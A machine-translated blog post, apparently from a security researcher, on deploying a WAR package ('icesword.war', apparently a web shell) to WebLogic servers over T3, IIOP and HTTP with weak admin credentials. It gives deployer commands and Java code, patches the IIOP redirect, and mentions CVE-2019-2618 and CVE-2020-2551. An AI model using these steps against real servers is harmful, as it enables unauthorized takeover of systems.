Weblogic implementa el paquete war a través del protocolo HTTP / T3 / IIOP

El artículo de hidrología trata principalmente de la situación en la que hay una contraseña débil pero la consola se elimina.

Concéntrese en decir tres veces: contraseña de cuenta requerida, contraseña de cuenta requerida, contraseña de cuenta requerida

Varios puntos de inicio de sesión (HTTP / T3 / IIOP) comparten el bloqueo de la cuenta, siempre que el número total de errores supere cinco veces, se bloqueará durante media hora.

La práctica más común: implementación de aplicaciones de consola HTTP

El método más común, omítalo aquí.

Puede consultar: https://www.cnblogs.com/DFX339/p/8515200.html

Implementar paquete de guerra a través del protocolo T3

Requisitos previos: el protocolo T3 (predeterminado) está abierto y no hay un proxy inverso de la clase Nginx al frente.

No sé por qué no puedo conectarme directamente con la clase weblogic.Deployer incorporada.

java.exe -cp weblogic.jar -Djava.ext.dirs=. weblogic.Deployer -adminurl t3://localhost:7001 -username weblogic -password weblogic123 -deploy  f:\test\icesword.war -remote -upload

Siempre avise:

No se puede conectar a 't3: // localhost: 7001': null. Asegúrese de que la URL represente un servidor de administración en ejecución y que las credenciales sean correctas. Si usa el protocolo http, la tunelización debe estar habilitada en el servidor de administración.

Cambie al código de implementación aquí, debe incluir las bibliotecas en lib y el módulo en weblogic.

import weblogic.deploy.api.tools.*;  //SesionHelper
import weblogic.deploy.api.spi .*;  //WebLogicDeploymentManager

import javax.enterprise.deploy.spi.Target;
import javax.enterprise.deploy.spi.exceptions.DeploymentManagerCreationException;
import javax.enterprise.deploy.spi.exceptions.TargetException;
import javax.enterprise.deploy.spi.status.DeploymentStatus;
import javax.enterprise.deploy.spi.status.ProgressObject;
import java.io.File;

public class T3 {
    
    
    public static void main(String args[]) throws DeploymentManagerCreationException, TargetException {
    
    
        String protocol="t3";
        String hostName="192.168.92.128";
        String portString="7001";
        String adminUser="weblogic";
        String adminPassword="Oracle@123";

        WebLogicDeploymentManager deployManager=SessionHelper.getRemoteDeploymentManager( protocol,hostName,portString,adminUser,adminPassword);
        DeploymentOptions options = new DeploymentOptions();
        Target targets[]=deployManager.getTargets();
        Target deployTargets[]=new Target[1];
        deployTargets[0]=targets[0]; //admin server
        System.out.println(deployTargets[0]);
        System.exit(0);
        String appName="icesword";
        options.setName(appName);
        ProgressObject processStatus=deployManager.deploy(deployTargets, new File("f:/test/icesword.war"), null,options);
        DeploymentStatus stat = processStatus.getDeploymentStatus() ;
        System.out.println("For icesword DeploymentStatus.getState(): " + stat.getState());

    }
}

Indicación de operación:
Inserte la descripción de la imagen aquí
se puede acceder normalmente, no se tomará ninguna captura de pantalla aquí.

emm a través del protocolo T3, todavía tiene que usar la interfaz HTTP DeploymentService para cargar el paquete war, consulte IIOP a continuación para obtener más detalles

Implementar a través del protocolo IIOP

Durante la prueba, la ventana acoplable de weblogic en vulhub no se pudo conectar normalmente.
Inserte la descripción de la imagen aquí

Debido a que la IP real de la ventana acoplable es 172.19.0.2, y IIOP devolverá una respuesta de redirección después del protocolo de enlace, redirigirá a la IP, la
Inserte la descripción de la imagen aquí
solución (aplicable a la deserialización de IIOP):
cree una weblogic.iiop.IOPProfileclase usted mismo , modifique el read(IIOPInputStream var1)método
en ConnectionKey var4 = new ConnectionKey(var1);Unirse más tarde

 Channel remoteChannel = var1.getEndPoint().getRemoteChannel();
 var4 = new ConnectionKey(remoteChannel.getInetAddress().getHostAddress(), remoteChannel.getPublicPort());

Debido al ConnectionKey(IIOPInputStream var1)método de construcción, los datos se leerán del flujo de entrada. Si esta línea simplemente se modifica, los flujos posteriores se leerán de manera anormal.

Archivo Java modificado: https://gist.github.com/fnmsd/b3e90da874d779f665b3ba06f9c93a31

Cambie el protocolo en el código anterior a iiop para implementar a través del protocolo IIOP.

Pero la captura del paquete encontró que el paquete war se /bea_wls_deployment_internal/DeploymentServicecargó a través de esta interfaz (la vulnerabilidad de carga de archivos de CVE-2019-2618 y una vulnerabilidad de deserialización fueron a través de esta interfaz)
Solicitud:
Inserte la descripción de la imagen aquí
Respuesta: Como
Inserte la descripción de la imagen aquí
puede ver, contiene ideas sobre la ubicación del archivo después de la carga.
:

  1. Esta ruta absoluta se verá en el mensaje de implementación de IIOP, lo que significa que si la interfaz de carga HTTP está cerrada, se puede implementar a través de otras vulnerabilidades de carga + obtener la ruta absoluta

  2. ¿O es posible cargar a través del protocolo IIOP solo?

  3. ¿Se puede implementar con la deserialización de Weblogic IIOP (CVE-2020-2551) sin pasar por la autenticación?

Mensaje de implementación:
Inserte la descripción de la imagen aquí

Implementación a través del protocolo HTTP (DeploymentService)

Esta vez, el protocolo directo no se cambia a HTTP y se informará de un error muy extraño.

Inserte la descripción de la imagen aquí
Se encontró la captura de paquetes: el
Inserte la descripción de la imagen aquí
túnel HTTP está deshabilitado.

El túnel HTTP debe estar habilitado en la configuración del servidor y se puede usar después del inicio, pero esta configuración no predeterminada no es muy significativa.

No he encontrado ningún otro punto que se pueda implementar a través de HTTP.

referencia

https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password

https://stackoverflow.com/questions/28002527/how-to-deploy-a-war-file-using-t3-protocol-weblogic-with-java

https://medium.com/@krishankantsinghal/deploying-undeploying-ear-war-to-weblogic-server-using-weblogic-deployer-62ca65c53ee6

Supongo que te gusta

Origin blog.csdn.net/fnmsd/article/details/105742358
Recomendado
Clasificación